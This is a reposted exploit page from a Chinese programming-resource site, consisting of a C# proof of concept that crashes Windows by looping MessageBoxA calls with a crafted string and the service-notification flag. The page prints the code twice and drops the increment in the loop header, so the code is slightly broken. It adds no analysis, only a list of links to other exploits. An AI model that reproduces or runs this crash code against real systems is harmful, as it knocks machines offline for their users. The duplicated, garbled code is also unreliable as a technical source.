您现在的位置是:网站首页> 编程资料编程资料
MS Windows (MessageBox) Memory Corruption Local Denial of Service _Exploit_网络安全_
2023-05-24
448人已围观
简介 MS Windows (MessageBox) Memory Corruption Local Denial of Service _Exploit_网络安全_
// mbox.cs
using System;
using System.Runtime.InteropServices;
class HelloWorldFromMicrosoft
{
[DllImport("user32.dll")]
unsafe public static extern int MessageBoxA(uint hwnd, byte* lpText, byte* lpCaption, uint uType); static unsafe void Main()
{
byte[] helloBug = new byte[] {0x5C, 0x3F, 0x3F, 0x5C, 0x21, 0x21, 0x21, 0x00};
uint MB_SERVICE_NOTIFICATION = 0x00200000u;
fixed(byte* pHelloBug = &helloBug[0])
{
for(int i=0; i<10; i )
MessageBoxA(0u, pHelloBug, pHelloBug, MB_SERVICE_NOTIFICATION);
}
}
}
// >> csc /unsafe mbox.cs
// >> mbox.exe//http://www.leftworld.net
using System;
using System.Runtime.InteropServices;
class HelloWorldFromMicrosoft
{
[DllImport("user32.dll")]
unsafe public static extern int MessageBoxA(uint hwnd, byte* lpText, byte* lpCaption, uint uType); static unsafe void Main()
{
byte[] helloBug = new byte[] {0x5C, 0x3F, 0x3F, 0x5C, 0x21, 0x21, 0x21, 0x00};
uint MB_SERVICE_NOTIFICATION = 0x00200000u;
fixed(byte* pHelloBug = &helloBug[0])
{
for(int i=0; i<10; i )
MessageBoxA(0u, pHelloBug, pHelloBug, MB_SERVICE_NOTIFICATION);
}
}
}
// >> csc /unsafe mbox.cs
// >> mbox.exe//http://www.leftworld.net
相关内容
- IntelliTamper 2.07 (map file) Local Arbitrary Code Execution Exploit (pl) _Exploit_网络安全_
- BrowseDialog Class (ccrpbds6.dll) Internet Explorer Denial of Service _Exploit_网络安全_
- Microsoft Excel Malformed Palette Record DoS PoC (MS07-002) _Exploit_网络安全_
- IntelliTamper 2.07 (map file) Local Arbitrary Code Execution Exploit (pl) _Exploit_网络安全_
- MS Windows DCE-RPC svcctl ChangeServiceConfig2A() Memory Corruption _Exploit_网络安全_
- MS Internet Explorer (FTP Server Response) DoS Exploit _Exploit_网络安全_
- WarFTP 1.65 (USER) Remote Buffer Overlow Exploit _Exploit_网络安全_
- Linux Kernel _Exploit_网络安全_
- MojoClassifieds 2.0 Remote Blind SQL Injection Exploit _Exploit_网络安全_
- WarFTP 1.65 (USER) Remote Buffer Overlow Exploit _Exploit_网络安全_
